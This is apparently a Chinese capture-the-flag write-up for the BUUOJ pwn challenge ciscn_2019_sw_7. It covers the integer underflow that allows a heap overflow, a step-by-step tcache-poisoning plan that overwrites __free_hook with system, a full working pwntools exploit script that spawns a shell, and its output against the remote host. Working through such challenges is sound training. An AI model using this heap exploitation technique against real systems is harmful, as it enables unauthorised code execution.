0x0 Checksec1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
0x1 Reverse Enginnering该程序的漏洞点在New Note操作时, 若输入的Note size为0时,判定语句产生Integer Underflow;使得,Note Content可绕过size的判断而输入任意长度的内容;进而产生Heap Overflow.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned __int64 __fastcall sub_A60 (char *outBuffer, __int64 size, char endChar) { char buf; unsigned __int64 i; ssize_t v7; char *outBuffer_; unsigned __int64 v9; v9 = __readfsqword(0x28 u); v7 = 0LL ; outBuffer_ = outBuffer; for ( i = 0LL ; size - 1 > i; ++i ) { v7 = read(0 , &buf, 1uLL ); if ( v7 <= 0 ) exit (1 ); if ( buf == endChar ) break ; outBuffer_[i] = buf; } outBuffer_[i] = 0 ; return i; }
0x2 Analyze攻击过程
新增Note A, 使A->size = 0,从而chunk_A->size = 0x20,它在heap最上边。 新增9个Note, BCDE FGHI J, 它们的size = 0x40, 从而它们chunk->size = 0x50,依次在chunk A的下方邻近排列 通过A实施heap overflow attack,篡改B_DE FGHI J的chunk->size为0xa0,即原本0x50的二倍。从而B_DE FGHI J都会覆盖后面的chunk一部分。 逆序释放BCDE FGHI J, 即先后按J IHGF EDCB的顺序释放9个chunk. 实际上,主要J必须释放到T-cache中不能释放到unsorted bin中,否则会被其后紧邻的top chunk吃掉(forward consolidate); B最好释放到unsorted bin中,这样通过A进行篡改会更加方便。 此时的堆布局: // // T-cache // 0xa0: D->E->F->G->H->I->J // 0x50: C // unsortedbin: B(0xa0) //
实际上,chunk C是完全被chunk B覆盖的。 5. 将C新增成为Note(将会消耗点T-cache 0x50 bin : C);之后再次申请0x50 size的chunk, 这时由于T-cache中已经无0x50的chunk,在unsorted bin中有0xa0的chunk,将会触发malloc remaindering, 即将unsortedbin: B(0xa0)分割出来一个0x50的chunk给当前的请求。剩下的remainder部分放回unsorted bin中。请求分配出去的部分,成为New Note B, 而放回到unsorted bin的部分,恰好和C Note重叠。这样通过读取Note C的内容,就可以leak unsorted bin ->fd (即 &main_arena->top_chunk ). 6. 读C内容,并计算出libc的偏移。 7. 将chunk B释放到T-cache 0x50 bin中。 8. 通过note A修改B->fd为__free_hook的地址。这将会把__free_hook所处内存块加入到t-cache链中。 9. 申请两次chunk-size = 0x50的note, 那么第二次的memory chunk即为__free_hook的chunk,修改_free_hook的值为system函数地址. 10. free一个/bin/sh\0的内存chunk,即可获取shell.
0x3 Exploit Code1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from pwn import *from LibcSearcher import *context.clear(arch='amd64' , os='linux' ) elf = context.binary = ELF("bin" ) libc = elf.libc context.terminal = ["tmux" , "split" , "-h" ] if args.LOG: context.log_level = 'debug' gs = ''' set breakpoint pending on b system # b *0x555555400BD3 continue ''' def start (): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('node4.buuoj.cn' , 27251 ) else : return process(elf.path) sla = lambda a, b: io.sendlineafter(a, b) sa = lambda a, b: io.sendafter(a, b) rl = lambda : io.recvline() sl = lambda data: io.sendline(data) noteID = [0 ]*10 def addNote (size, content ): global noteID sl(b'1' ) sla(b'size of note:' , str (size).encode()) sla(b"content of note:" , content) io.recvuntil(b"What's this?[" ) offset = io.recvuntil(b"]\n" ,drop=True ) id = 0 for i in range (len (noteID)): if noteID[i] == 0 : noteID[i] = int (offset, 16 ) id = i break return id def showNote (id ): sl(b'2' ) sla(b'Index:' , str (id ).encode()) io.recvuntil( b" : " ) return io.recvuntil(b"\nDone." ,drop=True ) def freeNote (id ): global noteID sl(b'4' ) sla(b'Index:' , str (id ).encode()) noteID[id ] = 0 io = start() io.timeout = 3000 A = addNote(0 , b'A' *0x10 ) nlst = [addNote(0x40 , b'Note' ) for i in range (9 )] freeNote(A) Actn = 2 *p64(0 ) + p64(0xa1 ) + (9 *p64(0 ) + p64(0x51 )) + 7 *(9 *p64(0 ) + p64(0xa1 )) + p64(0 )*2 A = addNote(0 , Actn) nlst.reverse() [freeNote(i) for i in nlst] C = addNote(0x40 , b'C' *0x10 ) B = addNote(0x40 , b'B' ) Cctn = showNote(C) log.info('Cctn: {}' .format (Cctn)) arena = u64(Cctn.ljust(8 , p8(0 ))) - 0x60 log.info('arena: {}' .format (hex (arena))) libc.address = arena - (libc.sym.__malloc_hook + 0x10 ) log.success('libc.address: {}' .format (hex (libc.address))) freeNote(B) freeNote(A) Actn = 16 *b'a' + p64(0x51 ) + p64(libc.sym.__free_hook - 8 ) A = addNote(0 , Actn) freeNote(A) B = addNote(0x40 , b'B' ) freeHookMem = addNote(0x40 , p64(libc.sym.system)) Actn = 16 *b'a' + p64(0x51 ) + b'/bin/sh\0' A = addNote(0 , Actn) freeNote(B) time.sleep(0.1 ) sl(b'cat flag' ) flag = rl() log.info('flag: {}' .format (flag)) io.close()
0x4 Output Example1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ╰─$ python xpl.py REMOTE [*] 'ciscn_2019_sw_7/bin' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] 'libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to node4.buuoj.cn on port 27251: Done [*] Cctn: b'\xa0,\xe3\xcf\x8d\x7f' [*] arena: 0x7f8dcfe32c40 [+] libc.address: 0x7f8dcfa47000 [*] flag: b'flag{d0bc3973-****-40d6-****-984b84217efa}\n' [*] Closed connection to node4.buuoj.cn port 27251
0x5 The Challengehttps://buuoj.cn/challenges#ciscn_2019_sw_7